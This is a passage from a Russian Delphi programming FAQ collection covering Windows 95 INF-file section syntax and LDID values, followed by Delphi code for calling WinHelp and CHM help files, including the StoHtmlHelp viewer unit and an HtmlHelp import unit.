                                              записей раздела.

DevDelete               driver_name           Позволяет указать драйверы
                                              устройств, которые должны быть
                                              удалены из файла CONFIG.SYS.
                                              Раздел может содержать несколько
                                              записей DevDelete.

DevAddDev          driver_name,configkeyword  Позволяет указать новый драйвер,
                                              который должен быть добавлен в
                                              файл CONFIG.SYS. Раздел может
                                              содержать несколько записей
                                              DevAddDev.

Stacks            dos_stack_values            Указывает значение Stacks= в
                                              файле CONFIG.SYS.

Buffers           dos_buffer_values           Указывает значение Buffers= в
                                              файле CONFIG.SYS.

Files             dos_file_values             Указывает значение Files= в
                                              файле CONFIG.SYS.

LastDrive         dos_lastdrive_value         Указывает значение lastdrive=
                                              в файле CONFIG.SYS.

Ниже приведен пример синтаксиса раздела [Update INI]. Раздел [Update INI]
необходимо указать в разделе [Install] записью UpdateINIs. Этот
раздел добавляет, удаляет или замещает записи в указанном INI-фаЙле.
Ключевые слова и значения для этого раздела описаны в таблице.

[Update_ini_section]
ini-file,ini-section,original_entry,new_entry, options

Значение            Описание

options             Необязательные флаги операции, которые могут принимать
                    одно из следующих значений

   0                Значение по умолчанию. Ищет ключ (имя записи)
                    original_entry, игнорируя его значение. Если ключ при-
                    сутствует, соответствующая запись заменяется на
                    new_entry. Если original_entry равна NULL, new_entry
                    добавляется безусловно. Если new_entry равна NULL,
                    original_entry удаляется.

   1                Ищет запись original_entry по ключу и значению. Обнов-
                    ление выполняется только в том случае, когда совпадают и
                    ключ, и значение записи original_entry.

   2                Ищет запись, ключ которой совпадает с указанным в
                    original entry. Если запись уже существует, она не за-
                    мещается значением, указанным вами в new_entry.

   3                Ищет запись, ключ и значение которой совпадают с
                    указанными в original_entry. Если такая запись существует,
                    она замещается new_entry.

Ниже приведена синтаксическая конструкция раздела [Update IniFields].
Имя раздела [UpdatelniFields] должно быть указано элементом
[UpdatelniFieldsl в разделе [Install]. Утверждения этого замещают,
добавляют или удаляют поля в указанной записи INI-файла. В отличие от
раздела [Update INI], команды из данного раздела работают с фрагмента-
ми записей, а не с записями в целом.

[update_inifields_section]
ini-file,ini-section,profile_name,old_field,new_field

Если в строке INI-файла для указанной записи присутствовал комментарий,
он удаляется. Модификаторы old_field и new_field являются необяза-
тельными.

Раздел [Add Registry] позволяет добавлять в реестр ключи и значения.
Кроме того, существует необязательная возможность установить фактиче-
ское значение. Имя раздела [add_registry_section] должно быть задано
элементом AddReg раздела [Install]. Синтаксис раздела выглядит следую-
щим образом:

[add_registry_section]
reg_root_string

В этот раздел вы можете включить подключи, имена значений и
(необязательно) сами значения.

Раздел [Delete Registry] используется для удаления из реестра подклю-
чен и имен значений. Синтаксис этого раздела выглядит следующим обра-
зом:

[del_registry_section]
reg_root_string,subkey

Имя этого раздела должно быть указано элементом DelReg в разделе
[Install]. Каждый элемент, включенный в этот раздел, удалит из реестра
подключ или значение.

Раздел [Ini to Registry] позволяет перемещать в реестр строки и разде-
лы из INI-файла. Эта операция или создает в реестре новый элемент, или
подключ или значение.

Имя раздела [ini_to_registry section] должно быть указано элементом
lni2Reg в разделе [Install].

Раздел [DestinationDirsI позволяет определить каталог назначения для
раздела [File_List]. Ссылка на имя раздела [DestinationDirs] должна
присутствовать в одном из следующих трех элементов раздела [Install]:
DelFiles, CopyFiles или RenFiles. Синтаксис раздела приведен ниже.

Более подробную информацию можно найти в таблице.

[DestinationDirs]
file_list=ldid,subdirectory
DefaultDestDir=ldid,subdirectory

Ключевое слово       Значение             Описание

file_list             ldid,subdirectory    Указывает имя раздела FileList.

                      subdirectory         Указывает каталог, находящийся
                                           в каталоге ldid. Это значение
                                           необязательно.

                      ldid                 Указывает логический идентификатор
                                           диска. Список допустимых значений
                                           ldid приведен далее.

DefaulDestDir                              Позволяет указать каталог-приемник
                                           по умолчанию для всех неупомянутых
                                           разделов File_List. Этот параметр
                                           не является обязательным. По умол-
                                           чанию W95 использует каталог
                                           LDID_WIN.

Раздел [SourceDisksFilesj используется для указания исходных файлов,
используемых в процессе инсталляции. Кроме того, с помощью этого разде-
ла можно указать исходные диски, содержащие эти файлы. Синтаксис раз-
дела очень прост:

[SourceDisksFiles]
name_of_source_disk=disk_number

Элемент disk_number определяется в разделе [SourceDisksNames], кото-
рый использует следующий синтаксис:

[SourceDisksNames]
disk_ordinal=description_of_disk,label,serial_number

Раздел [ClassInstall] устанавливает новый класс устройства в разделе
реестра [Class]. Синтаксис раздела [ClassInstall] приведен ниже.
Подробную информацию о значениях и элементах, которые используются в
этом разделе, можно найти в таблице выше.

[ClassInstall]
CopyFiles=fils_list_section
RenFiles=fils_list_section
DelFiles=fils_list_section
UpdateInis=UpdateIni_section_name
UpdateIniFields=UpdateIniFields_section_name
AddReg=AddRegistry_section
DelReg=DelRegistry_section

Наконец, последним разделом INF-фаила является раздел [Strings]. Этот
раздел определяет один или несколько строковых ключей. Синтаксис этого
раздела приведен ниже.

[Strings]
string_key="valve"

Ключевое слово string_key обозначает строковый ключ, формирующийся
из буквенно-цифровых символов, например, MfgName. Хотя раздел
[Strings] обычно является последним в INF-файле, строковые ключи
можно использовать везде, где допустимо употребление строк.
Программа Setup подставляет вместо строкового ключа строку, заданную
элементом "value" и в дальнейшем использует именно ее, например:
MSFT="Microsoft"
Встпетив строку MSFT. поогоамма Setup интерпретирует ее как Microsoft

Значения LDID
В таблице перечислены допустимые значения LDID (logical disk identifier),
которые вы можете использовать в INF-файлах.

  ID           Обозначает

  00           Пустой LDID; используется для создания нового LDID
  01           Исходное устройство:\путь
  02           Временный каталог Setup; используется только в процессе
                                                     установки W95
  03           Каталог Uninstall
  04           Каталог Backup
  10           Каталог Windows
  11           Каталог SYSTEM
  12           Каталог lOsubsys
  13           Каталог COMMAND
  14           Каталог Control Panel
  15           Каталог Printers
  16           Каталог Workgroup
  17           Каталог INF
  18           Каталог Help
  19           Каталог Administration
  20           Каталог Fonts
  21           Каталог Viewers
  22           Каталог VMM32
  23           Каталог Color
  25           Каталог Shared
  26           Каталог Winboot
  27           Машинно-зависимый каталог
  28           Каталог Winboot Host
  30           Корневой каталог загрузочного устройства
  31           Корневой каталог хост-диска виртуального загрузочного устройства
  32           Каталог с прежней версией Windows (если есть)
  33           Каталог с прежней версией MS-DOS (если есть)DB


Работа со справочной системой

Cодержание раздела:

Как создать Help file?
Как использовать файлы справки?
Как закрыть help при закрытии приложения?
Как использовать CHM help в своём проекте?
Как вывести главное окно справочной системы?
Как вызвать подсказку к подсказке?
Хелп с окошечком для поиска раздела.
Исследование E-Book Html Compiler 2.12 New!
Как привязать файлы помощи в Delphi New!
Оглавление файлов помощи (Help Files Contents) New!


Как создать Help file?

Есть MS Help Compiler - он создаёт help файлы разных форматов. Сам он не удобный, есть множество оболочек и визуальных дизайнеров. Мне больше всего нравится "Help and Manual" - всё очень просто, визуально и интуитивно понятно.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как использовать файлы справки?

{ First we need to tell the Application object the name
  of the Help file and where to locate it. }

Application.HelpFile := ExtractFilePath(Application.ExeName) + 'YourHelpFile.hlp';

{ To Show a help file's content tab: }
Application.HelpCommand(HELP_CONTENTS, 0);
{  To display a specific topic of your help file: }
Application.HelpJump('TApplication_HelpJump');
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

Вот код для трех стандартных пунктов меню "Help":

procedure TForm1.Contents1Click(Sender: TObject);
begin
  Application.HelpCommand(HELP_CONTENTS, 0);
end;

procedure TForm1.SearchforHelpOn1Click(Sender: TObject);
begin
  Application.HelpCommand(HELP_PARTIALKEY, 0);
end;

procedure TForm1.HowtoUseHelp1Click(Sender: TObject);
begin
  Application.HelpCommand(HELP_HELPONHELP, 0);
end;

Взято с http://delphiworld.narod.ru


Как закрыть help при закрытии приложения?

procedure TForm1.FormDestroy(Sender: TObject);
begin
  Application.HelpCommand(HELP_QUIT, 0);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

procedure TMainForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Winhelp(Handle, 'WINHELP.HLP', HELP_QUIT, 0);
  Action := caFree;
end;


Как использовать CHM help в своём проекте?

Всё, что вам надо сделать, это сохранить ниже приведенный модуль на диске и добавить его в Uses вашего проекта. После этого Вы сможете использовать CHM файлы точно так же как и обычные HLP файлы.

unit StoHtmlHelp;
////////////////////////////////////////////////////////////////
// Implementation of context sensitive HTML help (.chm) for Delphi.
//
// Version:       1.2
// Author:        Martin Stoeckli
// Homepage:      www.martinstoeckli.ch/delphi
// Copyright(c):  Martin Stoeckli 2002
//
// Restrictions:  - Works only under the Windows platform.
//                - Is written for Delphi v7, should work from v6 up.
//
// Description
// ***********
// This unit enables you to call ".chm" files from your Delphi projects.
// You can use the normal Delphi VCL framework, write your projects the
// same way, as you would using normal ".hlp" files.
//
// Installation
// ************
// Simply add this unit to your project, that's all.
//
// If your help project contains files with the extension ".html"
// instead of ".htm", then you can either pass the filename with the
// extension to Application.HelpJump(), or you can set the property
// "HtmlExt" of the global object in this unit.
//   StoHelpViewer.HtmlExt := '.html';
//
// Examples
// ********
//   // assign a helpfile, you could also select the helpfile at the
//   // options dialog "Project/Options.../Application".
//   Application.HelpFile := 'C:\MyHelp.chm';
//   ...
//   // shows the contents of the helpfile
//   Application.HelpCommand(HELP_CONTENTS, 0);
//   // or
//   Application.HelpSystem.ShowTableOfContents;
//   ...
//   // opens the context sensitive help with a numerical id.
//   // you could do the same by setting the "HelpContext"
//   // property of a component and pressing the F1 key.
//   Application.HelpContext(1000);
//   // or with a string constant
//   Application.HelpJump('welcome');
//   ...
//   // opens the help index with a keyword.
//   // you could do the same by setting the "HelpKeyword"
//   // property of a component and pressing the F1 key.
//   Application.HelpKeyword('how to do');
//

interface
uses Classes, Windows, HelpIntfs;

type
  THtmlHelpA = function(hwndCaller: HWND; pszFile: LPCSTR; uCommand: UINT; dwData: DWORD): HWND; stdcall;

  TStoHtmlHelpViewer = class(TInterfacedObject, ICustomHelpViewer,
                             IExtendedHelpViewer, IHelpSelector)
  private
    FViewerID: Integer;
    FViewerName: String;
    FHtmlHelpFunction: THtmlHelpA;
  protected
    FHHCtrlHandle: THandle;
    FHelpManager: IHelpManager;
    FHtmlExt: String;
    function  GetHelpFileName: String;
    function  IsChmFile(const FileName: String): Boolean;
    procedure InternalShutdown;
    procedure CallHtmlHelp(const HelpFile: String; uCommand: UINT; dwData: DWORD);
    // ICustomHelpViewer
    function  GetViewerName: String;
    function  UnderstandsKeyword(const HelpString: String): Integer;
    function  GetHelpStrings(const HelpString: String): TStringList;
    function  CanShowTableOfContents: Boolean;
    procedure ShowTableOfContents;
    procedure ShowHelp(const HelpString: String);
    procedure NotifyID(const ViewerID: Integer);
    procedure SoftShutDown;
    procedure ShutDown;
    // IExtendedHelpViewer
    function  UnderstandsTopic(const Topic: String): Boolean;
    procedure DisplayTopic(const Topic: String);
    function  UnderstandsContext(const ContextID: Integer;
      const HelpFileName: String): Boolean;
    procedure DisplayHelpByContext(const ContextID: Integer;
      const HelpFileName: String);
    // IHelpSelector
    function  SelectKeyword(Keywords: TStrings) : Integer;
    function  TableOfContents(Contents: TStrings): Integer;
  public
    constructor Create; virtual;
    destructor Destroy; override;
    property HtmlExt: String read FHtmlExt write FHtmlExt;
  end;

var
  StoHelpViewer: TStoHtmlHelpViewer;

implementation
uses Forms, SysUtils, WinHelpViewer;

const
  // imported from HTML Help Workshop
  HH_DISPLAY_TOPIC        = $0000;
  HH_HELP_FINDER          = $0000; // WinHelp equivalent
  HH_DISPLAY_TOC          = $0001;
  HH_DISPLAY_INDEX        = $0002;
  HH_DISPLAY_SEARCH       = $0003;
  HH_KEYWORD_LOOKUP       = $000D;
  HH_DISPLAY_TEXT_POPUP   = $000E; // display string resource id or text in a popup window
  HH_HELP_CONTEXT         = $000F; // display mapped numeric value in dwData
  HH_TP_HELP_CONTEXTMENU  = $0010; // text popup help, same as WinHelp HELP_CONTEXTMENU
  HH_TP_HELP_WM_HELP      = $0011; // text popup help, same as WinHelp HELP_WM_HELP
  HH_CLOSE_ALL            = $0012; // close all windows opened directly or indirectly by the caller
  HH_ALINK_LOOKUP         = $0013; // ALink version of HH_KEYWORD_LOOKUP
  HH_GET_LAST_ERROR       = $0014; // not currently implemented // See HHERROR.h

type
  TStoWinHelpTester = class(TInterfacedObject, IWinHelpTester)
  protected
    // IWinHelpTester
    function CanShowALink(const ALink, FileName: String): Boolean;
    function CanShowTopic(const Topic, FileName: String): Boolean;
    function CanShowContext(const Context: Integer;
                            const FileName: String): Boolean;
    function GetHelpStrings(const ALink: String): TStringList;
    function GetHelpPath : String;
    function GetDefaultHelpFile: String;
    function IsHlpFile(const FileName: String): Boolean;
  end;

////////////////////////////////////////////////////////////////
// like "Application.ExeName", but in a DLL you get the name of
// the DLL instead of the application name
function Sto_GetModuleName: String;
var
  szFileName: array[0..MAX_PATH] of Char;
begin
  FillChar(szFileName, SizeOf(szFileName), #0);
  GetModuleFileName(hInstance, szFileName, MAX_PATH);
  Result := szFileName;
end;

////////////////////////////////////////////////////////////////
{ TStoHtmlHelpViewer }
////////////////////////////////////////////////////////////////

procedure TStoHtmlHelpViewer.CallHtmlHelp(const HelpFile: String; uCommand: UINT; dwData: DWORD);
begin
  if Assigned(FHtmlHelpFunction) then
  begin
    case uCommand of
    HH_CLOSE_ALL: FHtmlHelpFunction(0, nil, uCommand, dwData); // special parameters
    HH_GET_LAST_ERROR: ; // ignore
    else
      FHtmlHelpFunction(FHelpManager.GetHandle, PChar(HelpFile), uCommand, dwData);
    end;
  end;
end;

function TStoHtmlHelpViewer.CanShowTableOfContents: Boolean;
begin
  Result := True;
end;

constructor TStoHtmlHelpViewer.Create;
begin
  inherited Create;
  FViewerName := 'StoHtmlHelp';
  FHtmlExt := '.htm';
  // load dll
  FHHCtrlHandle := LoadLibrary('HHCtrl.ocx');
  if (FHHCtrlHandle <> 0) then
    FHtmlHelpFunction := GetProcAddress(FHHCtrlHandle, 'HtmlHelpA');
end;

destructor TStoHtmlHelpViewer.Destroy;
begin
  StoHelpViewer := nil;
  // free dll
  FHtmlHelpFunction := nil;
  if (FHHCtrlHandle <> 0) then
    FreeLibrary(FHHCtrlHandle);
  inherited Destroy;
end;

procedure TStoHtmlHelpViewer.DisplayHelpByContext(const ContextID: Integer;
  const HelpFileName: String);
var
  sHelpFile: String;
begin
  sHelpFile := GetHelpFileName;
  if IsChmFile(sHelpFile) then
    CallHtmlHelp(sHelpFile, HH_HELP_CONTEXT, ContextID);
end;

procedure TStoHtmlHelpViewer.DisplayTopic(const Topic: String);
var
  sHelpFile: String;
  sTopic: String;
  sFileExt: String;
begin
  sHelpFile := GetHelpFileName;
  if IsChmFile(sHelpFile) then
  begin
    // prepare topicname as a html page
    sTopic := Topic;
    sFileExt := LowerCase(ExtractFileExt(sTopic));
    if (sFileExt <> '.htm') and (sFileExt <> '.html') then
      sTopic := sTopic + FHtmlExt;
    CallHtmlHelp(sHelpFile + '::/' + sTopic, HH_DISPLAY_TOPIC, 0);
  end;
end;

function TStoHtmlHelpViewer.GetHelpFileName: String;
var
  sPath: String;
begin
  Result := '';
  // ask for the helpfile name
  if Assigned(FHelpManager) then
    Result := FHelpManager.GetHelpFile;
  if (Result = '') then
    Result := Application.CurrentHelpFile;
  // if no path is specified, then add the application path
  // (otherwise the file won't be found if the current directory is wrong).
  if (Result <> '') then
  begin
    sPath := ExtractFilePath(Result);
    if (sPath = '') then
      Result := ExtractFilePath(Sto_GetModuleName) + Result;
  end;
end;

function TStoHtmlHelpViewer.GetHelpStrings(const HelpString: String): TStringList;
begin
  // create a tagged keyword
  Result := TStringList.Create;
  Result.Add(Format('%s: %s', [FViewerName, HelpString]));
end;

function TStoHtmlHelpViewer.GetViewerName: String;
begin
  Result := FViewerName;
end;

procedure TStoHtmlHelpViewer.InternalShutdown;
begin
  if Assigned(FHelpManager) then
  begin
    FHelpManager.Release(FViewerID);
    FHelpManager := nil;
  end;
end;

function TStoHtmlHelpViewer.IsChmFile(const FileName: String): Boolean;
var
  iPos: Integer;
  sFileExt: String;
begin
  // find extension
  iPos := LastDelimiter('.', FileName);
  if (iPos > 0) then
  begin
    sFileExt := Copy(FileName, iPos, Length(FileName));
    Result := CompareText(sFileExt, '.chm') = 0;
  end
  else
    Result := False;
end;

procedure TStoHtmlHelpViewer.NotifyID(const ViewerID: Integer);
begin
  FViewerID := ViewerID;
end;

function TStoHtmlHelpViewer.SelectKeyword(Keywords: TStrings): Integer;
var
  i: Integer;
  sViewerName: String;
begin
  Result := 0;
  i := 0;
  // find first tagged line (see GetHelpStrings)
  while (Result = 0) and (i <= Keywords.Count - 1) do
  begin
    sViewerName := Keywords.Strings[i];
    Delete(sViewerName, Pos(':', sViewerName), Length(sViewerName));
    if (FViewerName = sViewerName) then
      Result := i
    else
      Inc(i);
  end;
end;

procedure TStoHtmlHelpViewer.ShowHelp(const HelpString: String);
var
  sHelpFile: String;
  sHelpString: String;
begin
  sHelpFile := GetHelpFileName;
  if IsChmFile(sHelpFile) then
  begin
    // remove the tag if necessary (see GetHelpStrings)
    sHelpString := HelpString;
    Delete(sHelpString, 1, Pos(':', sHelpString));
    sHelpString := Trim(sHelpString);
    CallHtmlHelp(sHelpFile, HH_DISPLAY_INDEX, DWORD(Pchar(sHelpString)));
  end;
end;

procedure TStoHtmlHelpViewer.ShowTableOfContents;
var
  sHelpFile: String;
begin
  sHelpFile := GetHelpFileName;
  if IsChmFile(sHelpFile) then
    CallHtmlHelp(sHelpFile, HH_DISPLAY_TOC, 0);
end;

procedure TStoHtmlHelpViewer.ShutDown;
begin
  SoftShutDown;
  if Assigned(FHelpManager) then
    FHelpManager := nil;
end;

procedure TStoHtmlHelpViewer.SoftShutDown;
begin
  CallHtmlHelp('', HH_CLOSE_ALL, 0);
end;

function TStoHtmlHelpViewer.TableOfContents(Contents: TStrings): Integer;
begin
  // find line with viewer name
  Result := Contents.IndexOf(FViewerName);
end;

function TStoHtmlHelpViewer.UnderstandsContext(const ContextID: Integer;
  const HelpFileName: String): Boolean;
begin
  Result := IsChmFile(HelpFileName);
end;

function TStoHtmlHelpViewer.UnderstandsKeyword(const HelpString: String): Integer;
begin
  if IsChmFile(GetHelpFileName) then
    Result := 1
  else
    Result := 0;
end;

function TStoHtmlHelpViewer.UnderstandsTopic(const Topic: String): Boolean;
begin
  Result := IsChmFile(GetHelpFileName);
end;

////////////////////////////////////////////////////////////////
{ TStoWinHelpTester }
//
// delphi will call the WinHelpTester to determine, if the default
// winhelp should handle the requests.
// don't allow anything, because delphi (v7) will create an invalid
// helpfile path, calling GetHelpPath (it puts a pathdelimiter
// before the filename in "TWinHelpViewer.HelpFile").
////////////////////////////////////////////////////////////////

function TStoWinHelpTester.CanShowALink(const ALink,
  FileName: String): Boolean;
begin
  Result := False;
//  Result := IsHlpFile(FileName);
end;

function TStoWinHelpTester.CanShowContext(const Context: Integer;
  const FileName: String): Boolean;
begin
  Result := False;
//  Result := IsHlpFile(FileName);
end;

function TStoWinHelpTester.CanShowTopic(const Topic,
  FileName: String): Boolean;
begin
  Result := False;
//  Result := IsHlpFile(FileName);
end;

function TStoWinHelpTester.GetDefaultHelpFile: String;
begin
  Result := '';
end;

function TStoWinHelpTester.GetHelpPath: String;
begin
  Result := '';
end;

function TStoWinHelpTester.GetHelpStrings(
  const ALink: String): TStringList;
begin
  // as TWinHelpViewer would do it
  Result := TStringList.Create;
  Result.Add(': ' + ALink);
end;

function TStoWinHelpTester.IsHlpFile(const FileName: String): Boolean;
var
  iPos: Integer;
  sFileExt: String;
begin
  // file has extension '.hlp' ?
  iPos := LastDelimiter('.', FileName);
  if (iPos > 0) then
  begin
    sFileExt := Copy(FileName, iPos, Length(FileName));
    Result := CompareText(sFileExt, '.hlp') = 0;
  end
  else
    Result := False;
end;

initialization
  StoHelpViewer := TStoHtmlHelpViewer.Create;
  RegisterViewer(StoHelpViewer, StoHelpViewer.FHelpManager);
  Application.HelpSystem.AssignHelpSelector(StoHelpViewer);
  WinHelpTester := TStoWinHelpTester.Create;

finalization
  // do not free StoHelpViewer, because the object is referenced by the
  // interface and will be freed automatically by releasing the last reference
  if Assigned(StoHelpViewer) then
    StoHelpViewer.InternalShutdown;
end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

unit HtmlHelp;

interface

uses
  Windows, Graphics;

const
  HH_DISPLAY_TOPIC  = $0000;
  HH_DISPLAY_TOC    = $0001;
  HH_DISPLAY_INDEX  = $0002;
  HH_DISPLAY_SEARCH = $0003;
  HH_SET_WIN_TYPE   = $0004;
  HH_GET_WIN_TYPE   = $0005;
  HH_GET_WIN_HANDLE = $0006;
  HH_GET_INFO_TYPES = $0007;
  HH_SET_INFO_TYPES = $0008;
  HH_SYNC           = $0009;
  HH_ADD_NAV_UI     = $000A;
  HH_ADD_BUTTON     = $000B;
  HH_GETBROWSER_APP = $000C;
  HH_KEYWORD_LOOKUP = $000D;
  HH_DISPLAY_TEXT_POPUP = $000E;
  HH_HELP_CONTEXT   = $000F;

const
  HHWIN_PROP_ONTOP          = 2;
  HHWIN_PROP_NOTITLEBAR     = 4;
  HHWIN_PROP_NODEF_STYLES   = 8;
  HHWIN_PROP_NODEF_EXSTYLES = 16;
  HHWIN_PROP_TRI_PANE       = 32;
  HHWIN_PROP_NOTB_TEXT      = 64;
  HHWIN_PROP_POST_QUIT      = 128;
  HHWIN_PROP_AUTO_SYNC      = 256;
  HHWIN_PROP_TRACKING       = 512;
  HHWIN_PROP_TAB_SEARCH     = 1024;
  HHWIN_PROP_TAB_HISTORY    = 2048;
  HHWIN_PROP_TAB_FAVORITES  = 4096;
  HHWIN_PROP_CHANGE_TITLE   = 8192;
  HHWIN_PROP_NAV_ONLY_WIN   = 16384;
  HHWIN_PROP_NO_TOOLBAR     = 32768;

const
  HHWIN_PARAM_PROPERTIES    = 2;
  HHWIN_PARAM_STYLES        = 4;
  HHWIN_PARAM_EXSTYLES      = 8;
  HHWIN_PARAM_RECT          = 16;
  HHWIN_PARAM_NAV_WIDTH     = 32;
  HHWIN_PARAM_SHOWSTATE     = 64;
  HHWIN_PARAM_INFOTYPES     = 128;
  HHWIN_PARAM_TB_FLAGS      = 256;
  HHWIN_PARAM_EXPANSION     = 512;
  HHWIN_PARAM_TABPOS        = 1024;
  HHWIN_PARAM_TABORDER      = 2048;
  HHWIN_PARAM_HISTORY_COUNT = 4096;
  HHWIN_PARAM_CUR_TAB       = 8192;

const
  HHWIN_BUTTON_EXPAND     = 2;
  HHWIN_BUTTON_BACK       = 4;
  HHWIN_BUTTON_FORWARD    = 8;
  HHWIN_BUTTON_STOP       = 16;
  HHWIN_BUTTON_REFRESH    = 32;
  HHWIN_BUTTON_HOME       = 64;
  HHWIN_BUTTON_BROWSE_FWD = 128;
  HHWIN_BUTTON_BROWSE_BCK = 256;
  HHWIN_BUTTON_NOTES      = 512;
  HHWIN_BUTTON_CONTENTS   = 1024;
  HHWIN_BUTTON_SYNC       = 2048;
  HHWIN_BUTTON_OPTIONS    = 4096;
  HHWIN_BUTTON_PRINT      = 8192;
  HHWIN_BUTTON_INDEX      = 16384;
  HHWIN_BUTTON_SEARCH     = 32768;
  HHWIN_BUTTON_HISTORY    = 65536;
  HHWIN_BUTTON_FAVORITES  = 131072;
  HHWIN_BUTTON_JUMP1      = 262144;
  HHWIN_BUTTON_JUMP2      = 524288;
  HHWIN_BUTTON_ZOOM       = HHWIN_Button_Jump2 * 2;
  HHWIN_BUTTON_TOC_NEXT   = HHWIN_Button_Zoom * 2;
  HHWIN_BUTTON_TOC_PREV   = HHWIN_Button_Toc_Next * 2;

const
  HHWIN_DEF_Buttons = HHWIN_Button_Expand or HHWIN_Button_Back or
    HHWIN_Button_Options or HHWIN_Button_Print;

const
  IDTB_EXPAND      = 200;
  IDTB_CONTRACT    = 201;
  IDTB_STOP        = 202;
  IDTB_REFRESH     = 203;
  IDTB_BACK        = 204;
  IDTB_HOME        = 205;
  IDTB_SYNC        = 206;
  IDTB_PRINT       = 207;
  IDTB_OPTIONS     = 208;
  IDTB_FORWARD     = 209;
  IDTB_NOTES       = 210;
  IDTB_BROWSE_FWD  = 211;
  IDTB_BROWSE_BACK = 212;
  IDTB_CONTENTS    = 213;
  IDTB_INDEX       = 214;
  IDTB_SEARCH      = 215;
  IDTB_HISTORY     = 216;
  IDTB_FAVORITES   = 217;
  IDTB_JUMP1       = 218;
  IDTB_JUMP2       = 219;
  IDTB_CUSTOMIZE   = 221;
  IDTB_ZOOM        = 222;
  IDTB_TOC_NEXT    = 223;
  IDTB_TOC_PREV    = 224;

const
  HHN_First = Cardinal(-860);
  HHN_Last  = Cardinal(-879);

  HHN_NavComplete = HHN_First - 0;
  HHN_Track       = HHN_First - 1;

type
  HHN_Notify = record
    hdr: Pointer;
    pszUrl: PWideChar;
  end;

  HH_Popup = record
    cbStruct: Integer;
    hinst: THandle;
    idString: Cardinal;
    pszText: PChar;
    pt: TPoint;
    clrForeground: TColor;
    clrBackground: TColor;
    rcMargins: TRect;
    pszFont: PChar;
  end;

  HH_AKLINK = record
    cbStruct: Integer;
    fReserved: bool;
    pszKeywords: PChar;
    pszUrl: PChar;
    pszMsgText: PChar;
    pszMsgTitle: PChar;
    pszWindow: PChar;
    fIndexOnFail: bool;
  end;

type
  HHWin_NavTypes = (HHWIN_NAVTYPE_TOC,
    HHWIN_NAVTYPE_INDEX,
    HHWIN_NAVTYPE_SEARCH,
    HHWIN_NAVTYPE_HISTORY,
    HHWIN_NAVTYPE_FAVOURITES);

type
  HH_InfoType  = Longint;
  PHH_InfoType = ^ HH_InfoType;

type
  HHWin_NavTabs = (HHWIN_NavTab_Top,
    HHWIN_NavTab_Left,
    HHWIN_NavTab_Bottom);

const
  HH_Max_Tabs = 19;

type
  HH_Tabs = (HH_TAB_CONTENTS,
    HH_TAB_INDEX,
    HH_TAB_SEARCH,
    HH_TAB_HISTORY,
    HH_TAB_FAVORITES
    );

const
  HH_FTS_DEFAULT_PROXIMITY = (-1);

type
  HH_FTS_Query = record
    cbStruct: Integer;
    fUniCodeStrings: bool;
    pszSearchQuery: PChar;
    iProximity: Longint;
    fStemmedSearch: bool;
    fTitleOnly: bool;
    fExecute: bool;
    pszWindow: PChar;
  end;

type
  HH_WinType = record
    cbStruct: Integer;
    fUniCodeStrings: bool;
    pszType: PChar;
    fsValidMembers: Longint;
    fsWinProperties: Longint;
    pszCaption: PChar;
    dwStyles: Longint;
    dwExStyles: Longint;
    rcWindowPos: TRect;
    nShowState: Integer;
    hwndHelp: THandle;
    hwndCaller: THandle;
    paInfoTypes: ^ HH_InfoType;
    hwndToolbar: THandle;
    hwndNavigation: THandle;
    hwndHTML: THandle;
    iNavWidth: Integer;
    rcHTML: TRect;
    pszToc: PChar;
    pszIndex: PChar;
    pszFile: PChar;
    pszHome: PChar;
    fsToolbarFlags: Longint;
    fNotExpanded: bool;
    curNavType: Integer;
    tabPos: Integer;
    idNotify: Integer;
    TabOrder: array[0..HH_Max_Tabs + 1] of Byte;
    cHistory: Integer;
    pszJump1: PChar;
    pszJump2: PChar;
    pszUrlJump1: PChar;
    pszUrlJump2: PChar;
    rcMinSize: TRect;
  end;

  PHH_WinType = ^ HH_WinType;

type
  HHACTTYpes = (HHACT_TAB_CONTENTS,
    HHACT_TAB_INDEX,
    HHACT_TAB_SEARCH,
    HHACT_TAB_HISTORY,
    HHACT_TAB_FAVORITES,

    HHACT_EXPAND,
    HHACT_CONTRACT,
    HHACT_BACK,
    HHACT_FORWARD,
    HHACT_STOP,
    HHACT_REFRESH,
    HHACT_HOME,
    HHACT_SYNC,
    HHACT_OPTIONS,
    HHACT_PRINT,
    HHACT_HIGHLIGHT,
    HHACT_CUSTOMIZE,
    HHACT_JUMP1,
    HHACT_JUMP2,
    HHACT_ZOOM,
    HHACT_TOC_NEXT,
    HHACT_TOC_PREV,
    HHACT_NOTES,

    HHACT_LAST_ENUM
    );

type
  HHNTRACK = record
    hdr: TNMHDR;
    pszCurUrl: PWideChar;
    idAction: Integer;
    phhWinType: ^ HH_WinType;
  end;
  PHHNTRACK = ^ HHNTRACK;

  HHNNAVCOMPLETE = record
    hdr: TNMHDR;
    pszUrl: PChar;
  end;
  PHHNNAVCOMPLETE = ^ HHNNAVCOMPLETE;

type
  THtmlHelpA = function(hwndCaller: THandle; pszFile: PChar;
    uCommand: Cardinal; dwData: Longint): THandle;
  stdCall;
  THtmlHelpW = function(hwndCaller: THandle; pszFile: PChar;
    uCommand: Cardinal; dwData: Longint): THandle;
  stdCall;

function HH(hwndCaller: THandle; pszFile: PChar; uCommand: Cardinal;
  dwData: Longint): THandle;
function HtmlHelpInstalled: Boolean;

implementation

const
  ATOM_HTMLHELP_API_ANSI = #14#0;
  ATOM_HTMLHELP_API_UNICODE = #15#0;

var
  HtmlHelpA: THtmlHelpA;
  OCXHandle: THandle;

function HH;
begin
  Result := 0;
  if (Assigned(HtmlHelpA)) then
  begin
    Result := HtmlHelpA(hwndCaller, pszFile, uCommand, dwData);
  end;
end;

function HtmlHelpInstalled: Boolean;
begin
  Result := (Assigned(HtmlHelpA));
end;

initialization
  begin
    HtmlHelpA := nil;
    OCXHandle := LoadLibrary('HHCtrl.OCX');
    if (OCXHandle <> 0) then
    begin
      HtmlHelpA := GetProcAddress(OCXHandle, 'HtmlHelpA');
    end;
  end;

finalization
  begin
    if (OCXHandle <> 0) then
      FreeLibrary(OCXHandle);
  end;
end.
//-----------------------------------------------

unit Unit1;

{....}

implementation

uses
  HtmlHelp;

const
  HH_HELP_CONTEXT = $F;
  MYHELP_FILE = 'DualHelp.chm' + Chr(0);
var
  RetCode: LongInt;

  {$R *.DFM}

